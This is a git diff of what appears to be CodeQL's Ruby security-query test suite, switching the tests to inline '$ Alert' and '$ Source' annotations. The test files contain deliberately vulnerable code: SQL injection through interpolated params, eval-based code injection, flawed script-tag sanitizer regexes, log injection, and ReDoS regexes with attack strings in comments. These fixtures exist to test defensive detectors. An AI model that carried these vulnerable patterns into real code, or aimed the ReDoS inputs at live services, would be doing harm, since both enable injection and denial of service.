-    User.reselect('a','b', params[:column])
-    User.order('a ASC', "b #{params[:direction]}")
-    User.reorder('a ASC', "b #{params[:direction]}")
-    User.group('a', params[:column])
-    User.pluck('a', params[:column])
-    User.joins(:a, params[:column])
+    User.select('a','b', params[:column]) # $ Alert
+    User.reselect('a','b', params[:column]) # $ Alert
+    User.order('a ASC', "b #{params[:direction]}") # $ Alert
+    User.reorder('a ASC', "b #{params[:direction]}") # $ Alert
+    User.group('a', params[:column]) # $ Alert
+    User.pluck('a', params[:column]) # $ Alert
+    User.joins(:a, params[:column]) # $ Alert
 
-    User.count_by_sql(params[:custom_sql_query])
+    User.count_by_sql(params[:custom_sql_query]) # $ Alert
 
     # BAD: executes `SELECT users.* FROM #{params[:tab]}`
     # where `params[:tab]` is unsanitized
-    User.all.from(params[:tab])
+    User.all.from(params[:tab]) # $ Alert
     # BAD: executes `SELECT "users".* FROM (SELECT "users".* FROM "users") #{params[:sq]}
-    User.all.from(User.all, params[:sq])
+    User.all.from(User.all, params[:sq]) # $ Alert
   end
 end
 
 class BarController < ApplicationController
   def some_other_request_handler
-    ps = params
+    ps = params # $ Source
     uid = ps[:id]
     uidEq = "= '#{uid}'"
 
     # BAD: executes `DELETE FROM "users" WHERE (id = #{uid})`
     # where `uid` is unsantized
-    User.delete_by("id " + uidEq)
+    User.delete_by("id " + uidEq) # $ Alert
   end
 
   def safe_paths
@@ -171,7 +171,7 @@ def safe_paths
 
 class BazController < BarController
   def yet_another_handler
-    Admin.delete_by(params[:admin_condition])
+    Admin.delete_by(params[:admin_condition]) # $ Alert, Source
   end
 end
 
@@ -185,7 +185,7 @@ def index
   def unsafe_action
     name = params[:user_name]
     # BAD: user input passed into annotations are vulnerable to SQLi
-    users = User.annotate("this is an unsafe annotation:#{params[:comment]}").find_by(user_name: name)
+    users = User.annotate("this is an unsafe annotation:#{params[:comment]}").find_by(user_name: name) # $ Alert
   end
 end
 
@@ -198,27 +198,27 @@ class RegressionController < ActionController::Base
   def index
     my_params = permitted_params
     query = "SELECT * FROM users WHERE id = #{my_params[:user_id]}"
-    result = Regression.find_by_sql(query)
+    result = Regression.find_by_sql(query) # $ Alert
   end
 
 
   def permitted_params
-    params.require(:my_key).permit(:id, :user_id, :my_type)
+    params.require(:my_key).permit(:id, :user_id, :my_type) # $ Source
   end
 
   def show
-    ActiveRecord::Base.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}")
-    Regression.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}")
+    ActiveRecord::Base.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") # $ Alert
+    Regression.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") # $ Alert
   end
 end
 
 class User
-  scope :with_role, ->(role) { where("role = #{role}") }
+  scope :with_role, ->(role) { where("role = #{role}") } # $ Alert
 end
 
 class UsersController < ActionController::Base
   def index
     # BAD: user input passed to scope which uses it without sanitization.
-    @users = User.with_role(params[:role])
+    @users = User.with_role(params[:role]) # $ Source
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb
index 1cd6782b2416..526970c138e9 100644
--- a/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb
+++ b/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb
@@ -1,9 +1,9 @@
 
 class PotatoController < ActionController::Base
   def unsafe_action
-    name = params[:user_name]
+    name = params[:user_name] # $ Source
     # BAD: SQL statement constructed from user input
-    sql = Arel.sql("SELECT * FROM users WHERE name = #{name}")
-    sql = Arel::Nodes::SqlLiteral.new("SELECT * FROM users WHERE name = #{name}")
+    sql = Arel.sql("SELECT * FROM users WHERE name = #{name}") # $ Alert
+    sql = Arel::Nodes::SqlLiteral.new("SELECT * FROM users WHERE name = #{name}") # $ Alert
   end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb
index 549be4898582..c44e078ee843 100644
--- a/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb
+++ b/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb
@@ -3,7 +3,7 @@ class FooController < ActionController::Base
   def some_request_handler
     # A string tainted by user input is inserted into a query
     # (i.e a remote flow source)
-    name = params[:name]
+    name = params[:name] # $ Source
 
     # Establish a connection to a PostgreSQL database
     conn = PG::Connection.open(:dbname => 'postgresql', :user => 'user', :password => 'pass', :host => 'localhost', :port => '5432')
@@ -11,14 +11,14 @@ def some_request_handler
     # .exec() and .async_exec()
     # BAD: SQL statement constructed from user input
     qry1 = "SELECT * FROM users WHERE username = '#{name}';"
-    conn.exec(qry1)
-    conn.async_exec(qry1)
+    conn.exec(qry1) # $ Alert
+    conn.async_exec(qry1) # $ Alert
 
     # .exec_params() and .async_exec_params()
     # BAD: SQL statement constructed from user input
     qry2 = "SELECT * FROM users WHERE username = '#{name}';"
-    conn.exec_params(qry2)
-    conn.async_exec_params(qry2)
+    conn.exec_params(qry2) # $ Alert
+    conn.async_exec_params(qry2) # $ Alert
 
     # .exec_params() and .async_exec_params()
     # GOOD: SQL statement constructed from sanitized user input
@@ -29,7 +29,7 @@ def some_request_handler
     # .prepare() and .exec_prepared()
     # BAD: SQL statement constructed from user input
     qry3 = "SELECT * FROM users WHERE username = '#{name}';"
-    conn.prepare("query_1", qry3)
+    conn.prepare("query_1", qry3) # $ Alert
     conn.exec_prepared('query_1')
 
     # .prepare() and .exec_prepared()
@@ -41,7 +41,7 @@ def some_request_handler
     # .prepare() and .exec_prepared()
     # NOT EXECUTED: SQL statement constructed from user input but not executed
     qry3 = "SELECT * FROM users WHERE username = '#{name}';"
-    conn.prepare("query_3", qry3)
+    conn.prepare("query_3", qry3) # $ Alert
   end
 end
 
diff --git a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref
index bcb55c8510f1..7fb79e3340de 100644
--- a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref
@@ -1 +1,2 @@
-queries/security/cwe-089/SqlInjection.ql
+query: queries/security/cwe-089/SqlInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref
index ec336901db5b..184c870500de 100644
--- a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref
@@ -1 +1,2 @@
-queries/security/cwe-094/UnsafeCodeConstruction.ql
\ No newline at end of file
+query: queries/security/cwe-094/UnsafeCodeConstruction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb
index b69048f63288..7bebbacedde1 100644
--- a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb
+++ b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb
@@ -1,16 +1,16 @@
 class Foobar
-  def foo1(target)
-    eval("foo = #{target}") # NOT OK
+  def foo1(target) # $ Source
+    eval("foo = #{target}") # $ Alert // NOT OK
   end
 
   # sprintf
-  def foo2(x) 
-    eval(sprintf("foo = %s", x)) # NOT OK
+  def foo2(x)  # $ Source
+    eval(sprintf("foo = %s", x)) # $ Alert // NOT OK
   end
 
   # String#%
-  def foo3(x)
-    eval("foo = %{foo}" % {foo: x}) # NOT OK
+  def foo3(x) # $ Source
+    eval("foo = %{foo}" % {foo: x}) # $ Alert // NOT OK
   end   
 
   def indirect_eval(x)
@@ -25,42 +25,42 @@ def named_code(code)
     eval("def \n #{code} \n end") # OK - parameter is named code
   end
 
-  def joinStuff(my_arr)
-    eval(my_arr.join("\n")) # NOT OK
+  def joinStuff(my_arr) # $ Source
+    eval(my_arr.join("\n")) # $ Alert // NOT OK
   end
 
-  def joinWithElemt(x) 
+  def joinWithElemt(x)  # $ Source
     arr = [x, "foobar"]
-    eval(arr.join("\n")) # NOT OK
+    eval(arr.join("\n")) # $ Alert // NOT OK
   end
 
-  def pushArr(x, y)
+  def pushArr(x, y) # $ Source
     arr = []
     arr.push(x)
-    eval(arr.join("\n")) # NOT OK
+    eval(arr.join("\n")) # $ Alert // NOT OK
 
     arr2 = []
     arr2 << y
-    eval(arr.join("\n")) # NOT OK
+    eval(arr.join("\n")) # $ Alert // NOT OK
   end
 
-  def hereDoc(x)
+  def hereDoc(x) # $ Source
     foo = <<~HERE
-        #{x}
+        #{x} # $ Alert
     HERE
     eval(foo) # NOT OK
   end
 
-  def string_concat(x)
-    foo = "foo = " + x
+  def string_concat(x) # $ Source
+    foo = "foo = " + x # $ Alert
     eval(foo) # NOT OK
   end
 
-  def join_indirect(x, y) 
+  def join_indirect(x, y)  # $ Source
     arr = Array(x)
-    eval(arr.join(" ")) # NOT OK
+    eval(arr.join(" ")) # $ Alert // NOT OK
 
     arr2 = [Array(["foo = ", y]).join(" ")]
-    eval(arr2.join("\n")) # NOT OK
+    eval(arr2.join("\n")) # $ Alert // NOT OK
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref
index 6780ef6d4c88..d0ba313d71eb 100644
--- a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref
@@ -1 +1,2 @@
-queries/security/cwe-116/BadTagFilter.ql
\ No newline at end of file
+query: queries/security/cwe-116/BadTagFilter.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb
index dd4a074c7846..8dc78ea00bd8 100644
--- a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb
+++ b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb
@@ -1,22 +1,22 @@
 filters = [
-    /<script.*?>.*?<\/script>/i, # NOT OK - doesn't match newlines or `</script >`
-    /<script.*?>.*?<\/script>/im, # NOT OK - doesn't match `</script >`
+    /<script.*?>.*?<\/script>/i, # $ Alert // NOT OK - doesn't match newlines or `</script >`
+    /<script.*?>.*?<\/script>/im, # $ Alert // NOT OK - doesn't match `</script >`
     /<script.*?>.*?<\/script[^>]*>/im, # OK
     /<!--.*-->/im, # OK - we don't care regexps that only match comments
     /<!--.*--!?>/im, # OK
-    /<!--.*--!?>/i, # NOT OK, does not match newlines
-    /<script.*?>(.|\s)*?<\/script[^>]*>/i, # NOT OK - doesn't match inside the script tag
-    /<script[^>]*?>.*?<\/script[^>]*>/i, # NOT OK - doesn't match newlines inside the content
-    /<script(\s|\w|=|")*?>.*?<\/script[^>]*>/im, # NOT OK - does not match single quotes for attribute values
-    /<script(\s|\w|=|')*?>.*?<\/script[^>]*>/im, # NOT OK - does not match double quotes for attribute values
-    /<script( |\n|\w|=|'|")*?>.*?<\/script[^>]*>/im, # NOT OK - does not match tabs between attributes
-    /<script.*?>.*?<\/script[^>]*>/m, # NOT OK - does not match uppercase SCRIPT tags
-    /<(script|SCRIPT).*?>.*?<\/(script|SCRIPT)[^>]*>/m, # NOT OK - does not match mixed case script tags
-    /<script[^>]*?>[\s\S]*?<\/script.*>/i, # NOT OK - doesn't match newlines in the end tag
+    /<!--.*--!?>/i, # $ Alert // NOT OK, does not match newlines
+    /<script.*?>(.|\s)*?<\/script[^>]*>/i, # $ Alert // NOT OK - doesn't match inside the script tag
+    /<script[^>]*?>.*?<\/script[^>]*>/i, # $ Alert // NOT OK - doesn't match newlines inside the content
+    /<script(\s|\w|=|")*?>.*?<\/script[^>]*>/im, # $ Alert // NOT OK - does not match single quotes for attribute values
+    /<script(\s|\w|=|')*?>.*?<\/script[^>]*>/im, # $ Alert // NOT OK - does not match double quotes for attribute values
+    /<script( |\n|\w|=|'|")*?>.*?<\/script[^>]*>/im, # $ Alert // NOT OK - does not match tabs between attributes
+    /<script.*?>.*?<\/script[^>]*>/m, # $ Alert // NOT OK - does not match uppercase SCRIPT tags
+    /<(script|SCRIPT).*?>.*?<\/(script|SCRIPT)[^>]*>/m, # $ Alert // NOT OK - does not match mixed case script tags
+    /<script[^>]*?>[\s\S]*?<\/script.*>/i, # $ Alert // NOT OK - doesn't match newlines in the end tag
     /<script[^>]*?>[\s\S]*?<\/script[^>]*?>/i, # OK
-    /<script\b[^>]*>([\s\S]*?)<\/script>/gi, # NOT OK - too strict matching on the end tag
-    /<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>/, # NOT OK - doesn't match comments with the right capture groups
-    /<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/, # NOT OK - capture groups
+    /<script\b[^>]*>([\s\S]*?)<\/script>/gi, # $ Alert // NOT OK - too strict matching on the end tag
+    /<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>/, # $ Alert // NOT OK - doesn't match comments with the right capture groups
+    /<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/, # $ Alert // NOT OK - capture groups
 ]
 
-doFilters(filters)
\ No newline at end of file
+doFilters(filters)
diff --git a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref
index 966c74aaf64b..e7f5463e7941 100644
--- a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref
@@ -1 +1,2 @@
-queries/security/cwe-116/IncompleteSanitization.ql
\ No newline at end of file
+query: queries/security/cwe-116/IncompleteSanitization.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb
index f59fdd332aed..09af97e96b85 100644
--- a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb
+++ b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb
@@ -1,91 +1,91 @@
 
 def bad1(s)
-  s.sub  "'", "" # NOT OK
-  s.sub! "'", "" # NOT OK
+  s.sub  "'", "" # $ Alert // NOT OK
+  s.sub! "'", "" # $ Alert // NOT OK
 end
 
 def bad2(s)
-  s.sub  /'/, "" # NOT OK
-  s.sub! /'/, "" # NOT OK
+  s.sub  /'/, "" # $ Alert // NOT OK
+  s.sub! /'/, "" # $ Alert // NOT OK
 end
 
 def bad3(s1, s2, s3)
-  s1.gsub  /'/, "\\'"  # NOT OK
-  s1.gsub  /'/, '\\\'' # NOT OK
-  s2.gsub! /'/, "\\'"  # NOT OK
-  s3.gsub! /'/, '\\\'' # NOT OK
+  s1.gsub  /'/, "\\'" # $ Alert // NOT OK
+  s1.gsub  /'/, '\\\'' # $ Alert // NOT OK
+  s2.gsub! /'/, "\\'" # $ Alert // NOT OK
+  s3.gsub! /'/, '\\\'' # $ Alert // NOT OK
 end
 
 def bad4(s1, s2, s3)
-  s1.gsub  /'/, "\\\\\\&" # NOT OK
-  s1.gsub  /'/, '\\\\\&'  # NOT OK
-  s2.gsub! /'/, "\\\\\\&" # NOT OK
-  s3.gsub! /'/, '\\\\\&'  # NOT OK
+  s1.gsub  /'/, "\\\\\\&" # $ Alert // NOT OK
+  s1.gsub  /'/, '\\\\\&' # $ Alert // NOT OK
+  s2.gsub! /'/, "\\\\\\&" # $ Alert // NOT OK
+  s3.gsub! /'/, '\\\\\&' # $ Alert // NOT OK
 end
 
 def bad5(s)
-  s.gsub  /['"]/, '\\\\\&' # NOT OK
-  s.gsub! /['"]/, '\\\\\&' # NOT OK
+  s.gsub  /['"]/, '\\\\\&' # $ Alert // NOT OK
+  s.gsub! /['"]/, '\\\\\&' # $ Alert // NOT OK
 end
 
 def bad6(s)
-  s.gsub  /(['"])/, '\\\\\\1' # NOT OK
-  s.gsub! /(['"])/, '\\\\\\1' # NOT OK
+  s.gsub  /(['"])/, '\\\\\\1' # $ Alert // NOT OK
+  s.gsub! /(['"])/, '\\\\\\1' # $ Alert // NOT OK
 end
 
 def bad7(s)
-  s.gsub  /('|")/, '\\\\\1' # NOT OK
-  s.gsub! /('|")/, '\\\\\1' # NOT OK
+  s.gsub  /('|")/, '\\\\\1' # $ Alert // NOT OK
+  s.gsub! /('|")/, '\\\\\1' # $ Alert // NOT OK
 end
 
 def bad8(s)
-  s.sub  '|', '' # NOT OK
-  s.sub! '|', '' # NOT OK
+  s.sub  '|', '' # $ Alert // NOT OK
+  s.sub! '|', '' # $ Alert // NOT OK
 end
 
 def bad9(s1, s2, s3, s4)
-  s1.gsub  /"/, "\\\"" # NOT OK
-  s1.gsub  /"/, '\\"'  # NOT OK
-  s1.gsub  '"', '\\"'  # NOT OK
-  s2.gsub! /"/, "\\\"" # NOT OK
-  s3.gsub! /"/, '\\"'  # NOT OK
-  s4.gsub! '"', '\\"'  # NOT OK
+  s1.gsub  /"/, "\\\"" # $ Alert // NOT OK
+  s1.gsub  /"/, '\\"' # $ Alert // NOT OK
+  s1.gsub  '"', '\\"' # $ Alert // NOT OK
+  s2.gsub! /"/, "\\\"" # $ Alert // NOT OK
+  s3.gsub! /"/, '\\"' # $ Alert // NOT OK
+  s4.gsub! '"', '\\"' # $ Alert // NOT OK
 end
 
 def bad10(s)
-  s.sub  "/", "%2F" # NOT OK
-  s.sub! "/", "%2F" # NOT OK
+  s.sub  "/", "%2F" # $ Alert // NOT OK
+  s.sub! "/", "%2F" # $ Alert // NOT OK
 end
 
 def bad11(s)
-  s.sub  "%25", "%" # NOT OK
-  s.sub! "%25", "%" # NOT OK
+  s.sub  "%25", "%" # $ Alert // NOT OK
+  s.sub! "%25", "%" # $ Alert // NOT OK
 end
 
 def bad12(s)
-  s.sub  %q['], %q[] # NOT OK
-  s.sub! %q['], %q[] # NOT OK
+  s.sub  %q['], %q[] # $ Alert // NOT OK
+  s.sub! %q['], %q[] # $ Alert // NOT OK
 end
 
 def bad13(s)
-  s.sub  "'" + "", "" # NOT OK
-  s.sub! "'" + "", "" # NOT OK
+  s.sub  "'" + "", "" # $ Alert // NOT OK
+  s.sub! "'" + "", "" # $ Alert // NOT OK
 end
 
 def bad14(s)
-  s.sub  "'", "" + "" # NOT OK
-  s.sub! "'", "" + "" # NOT OK
+  s.sub  "'", "" + "" # $ Alert // NOT OK
+  s.sub! "'", "" + "" # $ Alert // NOT OK
 end
 
 def bad15(s)
-  s.sub  "'" + "", "" + "" # NOT OK
-  s.sub! "'" + "", "" + "" # NOT OK
+  s.sub  "'" + "", "" + "" # $ Alert // NOT OK
+  s.sub! "'" + "", "" + "" # $ Alert // NOT OK
 end
 
 def bad16(s)
   indirect = /'/
-  s.sub(indirect, "")  # NOT OK
-  s.sub!(indirect, "") # NOT OK
+  s.sub(indirect, "") # $ Alert // NOT OK
+  s.sub!(indirect, "") # $ Alert // NOT OK
 end
 
 def good1a(s)
@@ -212,15 +212,15 @@ def good13a(s)
   s.sub('[', '').sub(']', '') # OK
   s.sub('(', '').sub(')', '') # OK
   s.sub('{', '').sub('}', '') # OK
-  s.sub('<', '').sub('>', '') # NOT OK: too common as a bad HTML sanitizer
+  s.sub('<', '').sub('>', '') # $ Alert // NOT OK: too common as a bad HTML sanitizer
 
-  s.sub('[', '\\[').sub(']', '\\]') # NOT OK
-  s.sub('{', '\\{').sub('}', '\\}') # NOT OK
+  s.sub('[', '\\[').sub(']', '\\]') # $ Alert // NOT OK
+  s.sub('{', '\\{').sub('}', '\\}') # $ Alert // NOT OK
 
   s = s.sub('[', '') # OK
   s = s.sub(']', '') # OK
   s.sub(/{/, '').sub(/}/, '') # OK
-  s.sub(']', '').sub('[', '') # probably OK, but still flagged
+  s.sub(']', '').sub('[', '') # $ Alert // probably OK, but still flagged
 end
 
 def good13b(s1)
@@ -245,8 +245,8 @@ def newlines_a(a, b, c)
   # motivation for whitelist
   `which emacs`.sub("\n", "") # OK
 
-  a.sub("\n", "").sub(b, c) # NOT OK
-  a.sub(b, c).sub("\n", "") # NOT OK
+  a.sub("\n", "").sub(b, c) # $ Alert // NOT OK
+  a.sub(b, c).sub("\n", "") # $ Alert // NOT OK
 end
 
 def newlines_b(a, b, c)
@@ -255,18 +255,18 @@ def newlines_b(a, b, c)
   output.sub!("\n", "") # OK
 
   d = a.dup
-  d.sub!("\n", "") # NOT OK
+  d.sub!("\n", "") # $ Alert // NOT OK
   d.sub!(b, c)
 
   e = a.dup
   d.sub!(b, c)
-  d.sub!("\n", "") # NOT OK
+  d.sub!("\n", "") # $ Alert // NOT OK
 end
 
 def bad_path_sanitizer(p1, p2)
   # attempt at path sanitization
-  p1.sub! "/../", "" # NOT OK
-  p2.sub  "/../", "" # NOT OK
+  p1.sub! "/../", "" # $ Alert // NOT OK
+  p2.sub  "/../", "" # $ Alert // NOT OK
 end
 
 def each_line_sanitizer(p1)
diff --git a/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref b/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref
index 3368edec4023..19ed712f4586 100644
--- a/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref
@@ -1 +1,2 @@
-queries/security/cwe-117/LogInjection.ql
\ No newline at end of file
+query: queries/security/cwe-117/LogInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb
index 67e0e1cb1a7c..29fafb46f780 100644
--- a/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb
+++ b/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb
@@ -12,9 +12,9 @@ def init_logger
   def read_from_params
     init_logger
 
-    unsanitized = params[:foo]
-    @logger.debug unsanitized             # BAD: unsanitized user input
-    @logger.error "input: " + unsanitized # BAD: unsanitized user input
+    unsanitized = params[:foo] # $ Source
+    @logger.debug unsanitized # $ Alert // BAD: unsanitized user input
+    @logger.error "input: " + unsanitized # $ Alert // BAD: unsanitized user input
 
     sanitized = unsanitized.gsub("\n", "")
     @logger.fatal sanitized            # GOOD: sanitized user input
@@ -22,17 +22,17 @@ def read_from_params
 
     unsanitized2 = unsanitized.sub("\n", "")
     @logger.info do
-      unsanitized2                      # BAD: partially sanitized user input
+      unsanitized2 # $ Alert // BAD: partially sanitized user input
     end
-    @logger << "input: " + unsanitized2 # BAD: partially sanitized user input
+    @logger << "input: " + unsanitized2 # $ Alert // BAD: partially sanitized user input
   end
 
   def read_from_cookies
     init_logger
 
-    unsanitized = cookies[:bar]
-    @logger.add(Logger::INFO) { unsanitized }             # BAD: unsanitized user input
-    @logger.log(Logger::WARN) { "input: " + unsanitized } # BAD: unsanitized user input
+    unsanitized = cookies[:bar] # $ Source
+    @logger.add(Logger::INFO) { unsanitized } # $ Alert // BAD: unsanitized user input
+    @logger.log(Logger::WARN) { "input: " + unsanitized } # $ Alert // BAD: unsanitized user input
   end
 
   def html_sanitization
@@ -46,7 +46,7 @@ def html_sanitization
   def inspect_sanitization
     init_logger
 
-    @logger.debug params[:foo]         # BAD: unsanitized user input
+    @logger.debug params[:foo] # $ Alert // BAD: unsanitized user input
     @logger.debug params[:foo].inspect # GOOD: sanitized user input
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref
index 7f4557181d7c..12b806895875 100644
--- a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref
@@ -1 +1,2 @@
-queries/security/cwe-1333/ReDoS.ql
+query: queries/security/cwe-1333/ReDoS.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb
index 450d330dc928..8f45aff3c454 100644
--- a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb
+++ b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb
@@ -1,7 +1,7 @@
 # NOT GOOD; attack: "_" + "__".repeat(100)
 # Adapted from marked (https://github.com/markedjs/marked), which is licensed
 # under the MIT license; see file marked-LICENSE.
-bad1 = /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/
+bad1 = /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/ # $ Alert
 
 # GOOD
 # Adapted from marked (https://github.com/markedjs/marked), which is licensed
@@ -16,7 +16,7 @@
 # NOT GOOD; attack: " '" + "\\\\".repeat(100)
 # Adapted from CodeMirror (https://github.com/codemirror/codemirror),
 # which is licensed under the MIT license; see file CodeMirror-LICENSE.
-bad2 = /^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/
+bad2 = /^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/ # $ Alert
 
 # GOOD
 # Adapted from lulucms2 (https://github.com/yiifans/lulucms2).
@@ -28,89 +28,89 @@
 good3 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)\n*/
 
 # NOT GOOD, variant of good3; attack: "a|\n:|\n" + "||\n".repeat(100)
-bad4 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a/
+bad4 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a/ # $ Alert
 
 # NOT GOOD; attack: "/" + "\\/a".repeat(100)
 # Adapted from ANodeBlog (https://github.com/gefangshuai/ANodeBlog),
 # which is licensed under the Apache License 2.0; see file ANodeBlog-LICENSE.
-bad5 = /\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/
+bad5 = /\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/ # $ Alert
 
 # NOT GOOD; attack: "##".repeat(100) + "\na"
 # Adapted from CodeMirror (https://github.com/codemirror/codemirror),
 # which is licensed under the MIT license; see file CodeMirror-LICENSE.
-bad6 = /^([\s\[\{\(]|#.*)*$/
+bad6 = /^([\s\[\{\(]|#.*)*$/ # $ Alert
 
 # GOOD
 good4 = /(\r\n|\r|\n)+/
 
 # BAD - PoC: `node -e "/((?:[^\"\']|\".*?\"|\'.*?\')*?)([(,)]|$)/.test(\"'''''''''''''''''''''''''''''''''''''''''''''\\\"\");"`. It's complicated though, because the regexp still matches something, it just matches the empty-string after the attack string.
-actuallyBad = /((?:[^"']|".*?"|'.*?')*?)([(,)]|$)/
+actuallyBad = /((?:[^"']|".*?"|'.*?')*?)([(,)]|$)/ # $ Alert
 
 # NOT GOOD; attack: "a" + "[]".repeat(100) + ".b\n"
 # Adapted from Knockout (https://github.com/knockout/knockout), which is
 # licensed under the MIT license; see file knockout-LICENSE
-bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/i
+bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/i # $ Alert
 
 # GOOD
 good6 = /(a|.)*/
 
 # Testing the NFA - only some of the below are detected.
-bad7 = /^([a-z]+)+$/
-bad8 = /^([a-z]*)*$/
-bad9 = /^([a-zA-Z0-9])(([\\.-]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/
-bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/
+bad7 = /^([a-z]+)+$/ # $ Alert
+bad8 = /^([a-z]*)*$/ # $ Alert
+bad9 = /^([a-zA-Z0-9])(([\\.-]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/ # $ Alert
